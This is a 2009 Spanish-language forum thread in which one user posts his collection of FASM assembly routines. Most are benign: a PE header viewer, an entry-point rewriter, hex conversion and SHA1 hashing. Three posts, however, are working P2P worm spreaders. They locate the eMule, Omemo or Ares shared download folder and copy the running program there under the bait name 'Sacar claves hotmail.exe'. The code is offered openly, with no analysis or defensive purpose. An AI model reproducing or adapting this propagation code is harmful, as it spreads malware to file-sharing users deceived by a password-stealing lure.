Recopilación de mis codigos.

Iniciado por YST, 31 Mayo 2009, 22:58 PM

0 Miembros y 2 Visitantes están viendo este tema.

YST

Código (ASM) [Seleccionar]

include 'win32ax.inc'
INVALID_FILE_SIZE = 0xffffffff
.code
start:
stdcall ChangeEntryPoint,"c:\Arreglado.exe",$
.if eax = 0
invoke MessageBox,0,"Ocurrio un error al intentar cambiar el Entry Point" ,0,0
.else
invoke MessageBox,0,"El Entry Point a sido cambiado" ,0,0
.endif
invoke ExitProcess,0


proc ChangeEntryPoint,Path,NewEP:DWORD
locals
Handle dd ?
Tamaño dd ?
Emezeta dd ?
cantidad dd ?
endl
push ebx
invoke  CreateFile, [Path], GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0    ;Abrimos el archivo para lectura
cmp eax,INVALID_HANDLE_VALUE
je .error
mov [Handle],eax                                     ;Guardamos el handle
invoke  GetFileSize, eax, 0                         ;Vemos el tamaño
cmp eax,INVALID_FILE_SIZE
je .error
mov [Tamaño], eax
invoke  GlobalAlloc, GPTR, eax
mov [Emezeta], eax
invoke  ReadFile, [Handle], [Emezeta], [Tamaño], addr cantidad, 0     ;Leemos el archivo
cmp eax,TRUE
jne .error
invoke CloseHandle,[Handle]     ;Cerramos el handle
cmp eax,NULL
je .error

mov ebx,[Emezeta]
cmp word[ebx],"MZ"
jne .error

add ebx,dword[ebx+03ch]
cmp word[ebx],"PE"
jne .error

xor eax,eax
mov eax,[NewEP]
mov dword[ebx+28h],eax      ;Cambiamos el EP

invoke CreateFileA,[Path], GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0    ;Creamos el archivo borrando el anterior
cmp eax,INVALID_HANDLE_VALUE
je .error
               mov [Handle], eax

                ;Escibimos el archivo
                invoke WriteFile, [Handle], [Emezeta] , [Tamaño],addr cantidad, NULL

                ; "Cerramos" el archivo
                invoke CloseHandle,[Handle]

cmp eax,NULL
je .error
mov eax,1
jmp .salir
.error:
xor eax,eax
.salir:
pop ebx
ret
endp
.end start


Yo le enseñe a Kayser a usar objetos en ASM

YST

Código (ASM) [Seleccionar]

proc EOFExtraDataExtract,FHandle
push esi  ebx
mov eax,[FHandle]
mov esi,dword[eax+03ch] ;Offset to start of PE header
add esi,eax
movzx ebx, word[esi+06h] ;Number Of Sections
dec ebx
mov eax,28h
mul ebx
add esi,0xf8 ;START OF SECTION TABLE
add esi,eax
mov eax,dword[esi+10h] ;SizeOfRawData
add eax,dword[esi+14h]  ;pointerToRawData
pop ebx esi
ret
endp


Yo le enseñe a Kayser a usar objetos en ASM

YST

Código (ASM) [Seleccionar]

format pe console
include 'win32ax.inc'
.data
Espacio equ 13,10,0   ;Para pasar a una nueva linea.
RutaArchivo rb MAX_PATH   ;Variable para guardar la ruta de el archivo
PunteroPEheader dd ? ; Puntero de el Pe header
Logo db '                      ===================================',13,10          ; LOGO PRINCIPAL
     db '                      =         PE visor by YST         =',13,10
     db '                      ===================================',13,10,0

LogoGeneral db '                      ===================================',13,10          ; LOGO GENERAL
            db '                      =           General               =',13,10
            db '                      ===================================',13,10,0

LogoSecciones db '                      ===================================',13,10
              db '                      =           Secciones             =',13,10     ;LOGO DE INFO DE LAS SECCIONES
              db '                      ===================================',13,10,0

LogoExport    db '                      ===================================',13,10
              db '                      =           Export data           =',13,10     ;LOGO DE INFO DE el Export data
              db '                      ===================================',13,10,0
LogoImport    db '                      ===================================',13,10
              db '                      =           Import data           =',13,10     ;LOGO DE INFO DE el import data
              db '                      ===================================',13,10,0
FHandle dd ?  ; MZ de el archivo
.code
start:
invoke system,"color 3" ;Ponemos el color de texto
invoke printf,Logo      ;Imprimimos el logo
invoke printf,Espacio   ;Ponemos dos nuevas lineas.
invoke printf,Espacio

invoke printf,"Inserte la ruta de el archivo a examinar:"   ; Preguntamos el archivo
invoke printf,Espacio
invoke scanf,"%s",RutaArchivo  ;Obtenemos la ruta de el archivo

invoke LoadLibrary,RutaArchivo ;Cargamos el archivo
.if eax = 0     ; Si hay error
invoke printf,"Hubo un error al cargar el archivo:" ;Mostramos el error .
invoke printf,RutaArchivo
invoke ExitProcess,0 ; Nos salimos.
.else ; De lo contrario
.if  word[eax] = "MZ" ; Si los primeros 2 bytes son igual a MZ
mov [FHandle],eax      ; Guardamos el MZ en FHandle
.else  ; De lo contrario
invoke printf,"Ingrese un archivo valido." ;Mostramos el error .
invoke ExitProcess,0 ; Nos salimos.
.endif ; Terminamos los if
.endif

add eax,dword[eax+03ch] ; Guardamos en eax la direccion de el PE header
.if  word[eax] = "PE" ; Si los primeros 2 bytes son igual a PE
mov [PunteroPEheader],eax      ; Guardamos el puntero de el PE header en PunteroPEheader
.else  ; De lo contrario
invoke printf,"No se a detectado PE header." ;Mostramos el error .
invoke ExitProcess,0 ; Nos salimos.
.endif ; Terminamos los if
.endif

invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,LogoGeneral ;Imprimimos el logo de la informacion general.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.

mov ebx,[FHandle]
mov ebx,dword[ebx+03ch]
invoke printf,"La posicion de el PE header es : 0x%x" ,ebx    ;Mostramos la direccion de el PE header
invoke printf,Espacio ; Pasamos a la siguiente linea.

add ebx,[FHandle]; Le sumamos a la posicion de el PE header el MZ para pasar a el puntero de el PE header
invoke printf,"TimeDateStamp: 0x%x " ,dword[ebx+08h] ; Imprimimo el TimeDateStamp
invoke printf,Espacio ; Pasamos a la siguiente linea.



invoke printf,"SizeOfCode: 0x%x " ,dword[ebx+1ch] ; Imprimimo el SizeOfCode
invoke printf,Espacio ; Pasamos a la siguiente linea.


invoke printf,"AddressOfEntrPoint: 0x%x " ,dword[ebx+28h] ; Imprimimo el AddressOfEntrPoint
invoke printf,Espacio ; Pasamos a la siguiente linea.


invoke printf,"ImageBase: 0x%x " ,dword[ebx+34h] ; Imprimimo el ImageBase
invoke printf,Espacio ; Pasamos a la siguiente linea.


invoke printf,"SizeOfImage: 0x%x " ,dword[ebx+50h] ; Imprimimo el SizeOfImage
invoke printf,Espacio ; Pasamos a la siguiente linea.

invoke printf,"SizeOfHeaders: 0x%x " ,dword[ebx+54h] ; Imprimimo el SizeOfHeaders
invoke printf,Espacio ; Pasamos a la siguiente linea.


invoke printf,"CheckSum: 0x%x " ,dword[ebx+58h] ; Imprimimo el CheckSum
invoke printf,Espacio ; Pasamos a la siguiente linea.

invoke printf,"Subsystem: "       ;Imprimimos el Subsystem
.if dword[ebx+5Ch] = 2h  ;SI es GUI
invoke printf,"Windows GUI"    ; Imprimimos   Windows GUI
.else             ; De lo contrario es CUI (Consola)
invoke printf,"Windows CUI"  ; Imprimimos   Windows CUI
.endif        ;Terminamos el if
invoke printf,Espacio ; Pasamos a la siguiente linea.
stdcall EOFExtraDataExtract,[FHandle]
invoke printf,"Posicion de el EOF: 0x%x",eax       ;Imprimimos la posicion de el EOF
invoke printf,Espacio ; Pasamos a la siguiente linea.

invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,LogoSecciones ;Imprimimos el logo de la informacion de las secciones.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.

mov esi,[PunteroPEheader]      ;Movemos el puntero de el PE Header a esi.
movzx ebx,word[esi+06h]  ; Guardamos la cantidad de secciones en ebx.



invoke printf,"Numero de secciones: %d",ebx   ;Imprimimos la cantidad de secciones.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.

.bucleImprimeSecciones: ; Bucle que imprime secciones
dec ebx    ;Les restamos uno a ebx
mov eax,28h       ;Hacemos que eax sea igual a $28
mul ebx           ;Multiplicamos ebx
add eax,0xf8      ;Le sumamos $F8 ( $F8 = START OF SECTION TABLE )
add eax,esi       ;Le agregamos al resultado de la multiplicacion el puntero de el PE header
mov edi,eax       ;Guardamos eax en edi
invoke printf,"Name: %s",edi  ;Imprimimos el nombre de la sección.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,"virtual address: 0x%x",dword[edi+0ch]  ;Imprimimos el virtual address
invoke printf,Espacio  ; Pasamos a la siguiente linea
invoke printf,"VirtualSize: 0x%x",dword[edi+08h]        ;Imprimimos el VirtualSize
invoke printf,Espacio  ; Pasamos a la siguiente linea
invoke printf,"SizeOfRawData: 0x%x",dword[edi+10h] ;  Imprimimos el SizeOfRawData
invoke printf,Espacio  ; Pasamos a la siguiente linea
invoke printf,"pointerToRawData : 0x%x",dword[edi+14h]   ;Imprimimos el pointerToRawData
invoke printf,Espacio  ; Pasamos a la siguiente linea
invoke printf,"Characteristics: 0x%x",dword[edi+24h] ;Imprimimos las Characteristics
invoke printf,Espacio  ; Pasamos a la siguiente linea
invoke printf,Espacio  ; Pasamos a la siguiente linea
invoke printf,Espacio  ; Pasamos a la siguiente linea

cmp ebx,0
jne .bucleImprimeSecciones   ; Si no se an imprimido todas las secciones saltamos a lña etiqueta .bucleImprimeSecciones .

invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,LogoExport   ;Imprimimos el logo de la informacion de el export data.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.

.if dword[esi+078h] = 0    ; Si no hay export data
invoke printf,"[+]No se exporta ninguna funcion."
invoke printf,Espacio ; Pasamos a la siguiente linea.
.else
mov ebx,dword[esi+078h]
add ebx,[FHandle]
invoke printf,"Cantidad de funciones exportadas: %d",dword[ebx+18h]    ;Imprimimo la cantidad de funciones exportadas.
invoke printf,Espacio ; Pasamos a la siguiente linea.          +
mov edi,dword[ebx+20h]   ;AddressOfNames
add edi,[FHandle]
mov ebx,dword[ebx+18h]   ;Numero de exports
invoke printf,"Funciones exportadas: "
  invoke printf,Espacio
.bucleExportData:           ;Bucle para imprimir la export data
dec ebx
mov        eax, [edi + ebx * 4]
add eax,[FHandle]
invoke printf,"[+]%s",eax
  invoke printf,Espacio
  cmp ebx,0
  jne .bucleExportData  ;Si no se an imprimido todas seguimos
.endif
invoke printf,LogoImport
invoke printf,Espacio
invoke printf,Espacio
  mov eax,[PunteroPEheader]
.if  dword[eax+80h] = NULL  ;Si no importamos ninguna funcion.
invoke printf,"[+]No importa ninguna funcion."
.else;De lo contrario
stdcall Sacaimport,[FHandle]
.endif
invoke system,"pause"
invoke ExitProcess,0

proc EOFExtraDataExtract,FHandle ;Funcion para extraer el EOF
push esi  ebx
mov eax,[FHandle]
mov esi,dword[eax+03ch] ;Offset to start of PE header
add esi,eax
movzx ebx, word[esi+06h] ;Number Of Sections
dec ebx
mov eax,28h
mul ebx
add esi,0xf8 ;START OF SECTION TABLE
add esi,eax
mov eax,dword[esi+10h] ;SizeOfRawData
add eax,dword[esi+14h]  ;pointerToRawData
pop ebx esi
ret
endp
proc Sacaimport ,handle
locals
Export dd ?
endl
pushad
mov eax,[handle]
mov ebx,dword[eax+03ch]
add ebx,eax
mov ebx,dword[ebx+80h]
add ebx,eax
mov [Export],ebx
.buclelib:
mov ebx,[Export]
mov edi,dword[ebx+0ch]
cmp edi,0
je .salir
add edi,[handle]
invoke printf,"- Funciones de %s: ",edi
invoke printf,"%s",Espacio
xor esi,esi
mov esi,dword[ebx]
add esi,[handle]
mov edi,esi
xor ebx,ebx
.bucleapi:
xor esi,esi
mov esi,dword[edi+ebx]
cmp esi,0
je .otralib
add esi,[handle]
add esi,2h
invoke printf," [*]%s",esi
invoke printf,"%s",Espacio
add ebx,04h
jmp .bucleapi
.otralib:
add  [Export] ,14h
jmp .buclelib
.salir:
popad
ret
endp

.end start
section '.reloc' fixups data discardable


Yo le enseñe a Kayser a usar objetos en ASM

YST

#23
Código (asm) [Seleccionar]

;Descripción: Convierte un dato a hexadecimal
; by YST
proc StringToHex,cPuntero,cCantidad,cBuffer
pushad
mov esi,[cPuntero]

mov edi,[cBuffer]
.bucle:
cmp  [cCantidad],0
je .salir
xor edx,edx
movzx eax,byte[esi]
mov ebx,16
div ebx
mov bl, byte[numeros+eax]
mov byte[edi],bl
mov bl, byte[numeros+edx]
mov byte[edi+1],bl
add edi,2
inc esi
dec  [cCantidad]
jmp  .bucle
.salir:
popad
ret
numeros db '0123456789ABCDEF',0 
endp           


Yo le enseñe a Kayser a usar objetos en ASM

YST

Código (asm) [Seleccionar]

proc HexToString,cPuntero,cCantidad,cBuffer
pushad
mov edi,[cPuntero]
mov esi,[cBuffer]
.bucle:
cmp [cCantidad] ,0
je .salir
movzx eax,byte[edi]
xor edx,edx
mov ebx,16
div ebx
mov ecx,edx
.if byte[edi] >= 'A'
add ecx,9
.endif
xor edx,edx
mov eax,16
mul ecx
mov ecx,eax
movzx eax,byte[edi+1]
xor edx,edx
mov ebx,16
div ebx
.if byte[edi+1] >= 'A'
add edx,9
.endif
add ecx,edx
mov byte[esi],cl
inc esi
add edi,2
dec [cCantidad]
jmp  .bucle
.salir :
popad
ret
endp


Yo le enseñe a Kayser a usar objetos en ASM

YST

#25
Código (asm) [Seleccionar]

include 'win32ax.inc'
.data
buffer rb 41
var0 db "12345",0
.code
start:
invoke lstrlen,var0

stdcall  SHA1Hash ,var0 ,eax,buffer


    invoke MessageBox,0,buffer,buffer,0
  leave
ret
  ;Descripción: Saca el hash sha1 de un dato
; by YST
proc SHA1Hash ,pbData,dwDataLen,cBuffer
locals
hProv dd ?
PROV_RSA_FULL = 1
  CALG_SHA = 0x00008004
  hHash dd ?
  cBuf rb 40
  dwSigLen dd ?
endl
pushad
invoke CryptAcquireContext,addr hProv,0,0,PROV_RSA_FULL,0
.if [hProv] = 0
invoke CryptAcquireContext,addr hProv,0,0,PROV_RSA_FULL,8h
.endif

invoke CryptCreateHash,[hProv],CALG_SHA, 0, 0, addr hHash
invoke CryptHashData,[hHash], [pbData],[dwDataLen]   , 0

   invoke CryptGetHashParam,[hHash], 2, 0,addr dwSigLen, 0
    .if [dwSigLen] <> 0
invoke CryptGetHashParam,[hHash], 2, addr cBuf,addr dwSigLen, 0
.endif

invoke CryptDestroyHash,[hHash]
invoke CryptReleaseContext,[hProv], 0
stdcall StringToHex,addr cBuf,20,[cBuffer]
popad
ret
endp
;Descripción: Convierte un dato a hexadecimal
; by YST
proc StringToHex,cPuntero,cCantidad,cBuffer
pushad
mov esi,[cPuntero]

mov edi,[cBuffer]
.bucle:
cmp  [cCantidad],0
je .salir
xor edx,edx
movzx eax,byte[esi]
mov ebx,16
div ebx
mov bl, byte[numeros+eax]
mov byte[edi],bl
mov bl, byte[numeros+edx]
mov byte[edi+1],bl
add edi,2
inc esi
dec  [cCantidad]
jmp  .bucle
.salir:
popad
ret
numeros db '0123456789ABCDEF',0 
endp
.end start
                     


Yo le enseñe a Kayser a usar objetos en ASM

YST

#26
Código (asm) [Seleccionar]

include 'win32ax.inc'
entry start
.code
cName equ "Sacar claves hotmail.exe" ; Nombre con que nos copiaremos
proc start
locals
lBuffer rb MAX_PATH
lBuffer2  rb MAX_PATH
lBuffer3  rb MAX_PATH
endl
stdcall Zerar,addr lBuffer,MAX_PATH
stdcall LeerRegistro,HKEY_CURRENT_USER,"Software\eMule" , "Install Path",addr lBuffer
.if eax = 0
jmp .exit
.endif
invoke lstrcat,addr lBuffer,"\config\preferences.ini"
invoke PathFileExists,addr lBuffer
.if eax <> 0
stdcall Zerar,addr lBuffer2,MAX_PATH
invoke GetPrivateProfileString,"eMule", "IncomingDir", 0, addr lBuffer2, 260, addr lBuffer
invoke lstrlen,addr lBuffer2
lea ebx,[lBuffer2]
mov byte[ebx+eax],"\"
invoke lstrcat, addr lBuffer2,cName
MOV     EaX, [FS:30h]
MOV     EaX, [EaX + 10h]
MOV     EaX, [EaX + 3Ch]
stdcall Zerar,addr lBuffer3,MAX_PATH
stdcall UniToAscii, addr lBuffer3,eax
invoke CopyFile, addr lBuffer3,  addr lBuffer2,0
jmp .exit
.else
jmp .exit
.endif
.exit:
invoke ExitProcess,0
endp
proc UniToAscii, ascii, unicode
push esi
push edi
mov esi, [unicode]
mov edi, [ascii]
.count:
.if byte[esi] <> 0
movsb
jmp .count
.endif
inc esi
.if byte[esi] = 0
jmp .exit
.endif
jmp .count
.exit:

mov eax, edi
add eax, 2
pop edi
pop esi
ret
endp
proc Zerar,Puntero,Cantidad  ;Funcion que llena de 0 una posicion
push ecx
push ebx
mov ecx,[Cantidad]
mov ebx,[Puntero]
.bucle:
mov byte[ebx+ecx],0
loop .bucle
mov byte[ebx],0
pop ebx
pop ecx
ret
endp
proc LeerRegistro,cHKEY,cCadena,cCampo,cBuffer
locals
temp dd ?
Result dd ?
endl
mov [temp],MAX_PATH*3
invoke RegOpenKeyEx,[cHKEY],[cCadena],0,KEY_READ, addr Result
.if eax <> 0 ;Si no hay datos devolvemos 0
xor eax,eax
jmp  .salir
.endif

lea ebx,[temp]
invoke RegQueryValueEx  ,[Result],[cCampo],0,0,[cBuffer],ebx
.if eax <> 0 ;Si no hay datos devolvemos 0
xor eax,eax
jmp  .salir
.endif
mov eax,TRUE
.salir:
ret
endp
section '.idata' import data readable
library shlwapi,'shlwapi.dll',kernel32,'kernel32.dll' ,advapi32,'advapi32.dll'
include 'api/kernel32.inc'
include 'api/advapi32.inc'
  import shlwapi,PathFileExists,'PathFileExistsA'



Yo le enseñe a Kayser a usar objetos en ASM

YST

Código (asm) [Seleccionar]

include 'win32ax.inc'
entry start
.code
cName equ "Sacar claves hotmail.exe" ; Nombre con que nos copiaremos
proc start
locals
lBuffer rb MAX_PATH
lBuffer2  rb MAX_PATH
lBuffer3  rb MAX_PATH
endl

stdcall Zerar,addr lBuffer,MAX_PATH
stdcall LeerRegistro,HKEY_LOCAL_MACHINE,"SOFTWARE\Omemo" , "InstallDir",addr lBuffer
.if eax = 0
jmp .exit
.endif

invoke lstrcat,addr lBuffer,"\Omemo.ini"
invoke PathFileExists,addr lBuffer
.if eax <> 0
stdcall Zerar,addr lBuffer2,MAX_PATH
invoke GetPrivateProfileString,"global", "SAVE_AS_FOLDER", 0, addr lBuffer2, 260, addr lBuffer
invoke lstrlen,addr lBuffer2
lea ebx,[lBuffer2]
mov byte[ebx+eax],"\"
invoke lstrcat, addr lBuffer2,cName
MOV     EaX, [FS:30h]
MOV     EaX, [EaX + 10h]
MOV     EaX, [EaX + 3Ch]
stdcall Zerar,addr lBuffer3,MAX_PATH
stdcall UniToAscii, addr lBuffer3,eax
invoke CopyFile, addr lBuffer3,  addr lBuffer2,0
jmp .exit
.else
jmp .exit
.endif
.exit:
invoke ExitProcess,0
endp
proc UniToAscii, ascii, unicode
push esi
push edi
mov esi, [unicode]
mov edi, [ascii]
.count:
.if byte[esi] <> 0
movsb
jmp .count
.endif
inc esi
.if byte[esi] = 0
jmp .exit
.endif
jmp .count
.exit:

mov eax, edi
add eax, 2
pop edi
pop esi
ret
endp
proc Zerar,Puntero,Cantidad  ;Funcion que llena de 0 una posicion
push ecx
push ebx
mov ecx,[Cantidad]
mov ebx,[Puntero]
.bucle:
mov byte[ebx+ecx],0
loop .bucle
mov byte[ebx],0
pop ebx
pop ecx
ret
endp
proc LeerRegistro,cHKEY,cCadena,cCampo,cBuffer
locals
temp dd ?
Result dd ?
endl
mov [temp],MAX_PATH*3
invoke RegOpenKeyEx,[cHKEY],[cCadena],0,KEY_READ, addr Result
.if eax <> 0 ;Si no hay datos devolvemos 0
xor eax,eax
jmp  .salir
.endif

lea ebx,[temp]
invoke RegQueryValueEx  ,[Result],[cCampo],0,0,[cBuffer],ebx
.if eax <> 0 ;Si no hay datos devolvemos 0
xor eax,eax
jmp  .salir
.endif
mov eax,1
.salir:
ret
endp
section '.idata' import data readable
library shlwapi,'shlwapi.dll',kernel32,'kernel32.dll' ,advapi32,'advapi32.dll',user32,'user32.dll'
include 'api/kernel32.inc'
include 'api/advapi32.inc'
include  'api/user32.inc'
   import shlwapi,PathFileExists,'PathFileExistsA'


Yo le enseñe a Kayser a usar objetos en ASM

YST

Código (asm) [Seleccionar]

include 'win32ax.inc'
entry start
.code
cName equ "Sacar claves hotmail.exe" ; Nombre con que nos copiaremos
proc start
locals
lBuffer rb MAX_PATH
lBuffer2  rb MAX_PATH
lBuffer3  rb MAX_PATH
endl

stdcall Zerar,addr lBuffer,MAX_PATH
stdcall LeerRegistro,HKEY_CURRENT_USER,"Software\Ares" , "Download.Folder",addr lBuffer
.if eax = 0
jmp .exit
.endif

stdcall Zerar,addr lBuffer2,MAX_PATH
invoke lstrlen,addr lBuffer
stdcall HexToString,addr lBuffer,eax,addr lBuffer2
invoke lstrlen,addr lBuffer2
lea ebx,[lBuffer2]
mov byte[ebx+eax],"\"
mov ebx,MAX_PATH
sub ebx,eax
lea edx,[lBuffer2]
inc eax
add eax,edx
stdcall Zerar,eax,ebx
invoke lstrcat, addr lBuffer2,cName

MOV     EaX, [FS:30h]
MOV     EaX, [EaX + 10h]
MOV     EaX, [EaX + 3Ch]
stdcall Zerar,addr lBuffer3,MAX_PATH
stdcall UniToAscii, addr lBuffer3,eax
invoke CopyFile, addr lBuffer3,  addr lBuffer2,0
.exit:
invoke ExitProcess,0
endp
proc UniToAscii, ascii, unicode
push esi
push edi
mov esi, [unicode]
mov edi, [ascii]
.count:
.if byte[esi] <> 0
movsb
jmp .count
.endif
inc esi
.if byte[esi] = 0
jmp .exit
.endif
jmp .count
.exit:

mov eax, edi
add eax, 2
pop edi
pop esi
ret
endp
proc Zerar,Puntero,Cantidad  ;Funcion que llena de 0 una posicion
push ecx
push ebx
mov ecx,[Cantidad]
mov ebx,[Puntero]
.bucle:
mov byte[ebx+ecx],0
loop .bucle
mov byte[ebx],0
pop ebx
pop ecx
ret
endp
proc LeerRegistro,cHKEY,cCadena,cCampo,cBuffer
locals
temp dd ?
Result dd ?
endl
mov [temp],MAX_PATH*3
invoke RegOpenKeyEx,[cHKEY],[cCadena],0,KEY_READ, addr Result
.if eax <> 0 ;Si no hay datos devolvemos 0
xor eax,eax
jmp  .salir
.endif

lea ebx,[temp]
invoke RegQueryValueEx  ,[Result],[cCampo],0,0,[cBuffer],ebx
.if eax <> 0 ;Si no hay datos devolvemos 0
xor eax,eax
jmp  .salir
.endif
mov eax,1
.salir:
ret
endp
proc HexToString,cPuntero,cCantidad,cBuffer
pushad
mov edi,[cPuntero]
mov esi,[cBuffer]
.bucle:
cmp [cCantidad] ,0
je .salir
movzx eax,byte[edi]
xor edx,edx
mov ebx,16
div ebx
mov ecx,edx
.if byte[edi] >= 'A'
add ecx,9
.endif
xor edx,edx
mov eax,16
mul ecx
mov ecx,eax
.if word[edi] = "C3" | word[edi]= "c3"
mov byte[esi],"ó"
add edi,4
inc esi
sub [cCantidad],2
jmp .bucle
.endif
movzx eax,byte[edi+1]
xor edx,edx
mov ebx,16
div ebx
.if byte[edi+1] >= 'A'
add edx,9
.endif
add ecx,edx
mov byte[esi],cl
inc esi
add edi,2
dec [cCantidad]
jmp  .bucle
.salir :
popad
ret
endp
section '.idata' import data readable
library shlwapi,'shlwapi.dll',kernel32,'kernel32.dll' ,advapi32,'advapi32.dll',user32,'user32.dll'
include 'api/kernel32.inc'
include 'api/advapi32.inc'
   import shlwapi,PathFileExists,'PathFileExistsA'
  include 'api/user32.inc'


Yo le enseñe a Kayser a usar objetos en ASM

YST

Código (ASM) [Seleccionar]

include 'win32ax.inc'
.data
dString db "i'm a string",0
.code
start:
stdcall fRight,dString,9
invoke MessageBox,0,eax,0,0
invoke ExitProcess,0'
;Funcion que emula la funcion Right de Visual Basic 6
proc fRight,pString,pLen
push esi ebx  edi ecx
mov eax,[pLen]
inc eax
invoke GlobalAlloc,GPTR, eax
mov esi,eax
mov ebx,eax
stdcall Len,[pString]
sub eax,[pLen]
mov edi,[pString]
add edi,eax
.bucle_:
cmp [pLen] ,0
je .exit
mov cl,byte[edi]
mov byte[ebx],cl
inc ebx
inc edi
dec [pLen]
jmp .bucle_
.exit:
mov eax,esi
pop ecx edi ebx esi
ret
endp
proc Len,cCadena   ;Funcion que mide la cadena
push ecx edi
mov ecx,-1
mov edi,[cCadena]
mov al,0
repnz scasb
mov eax,ecx
not eax
dec eax
pop edi ecx
ret
endp
.end start


Yo le enseñe a Kayser a usar objetos en ASM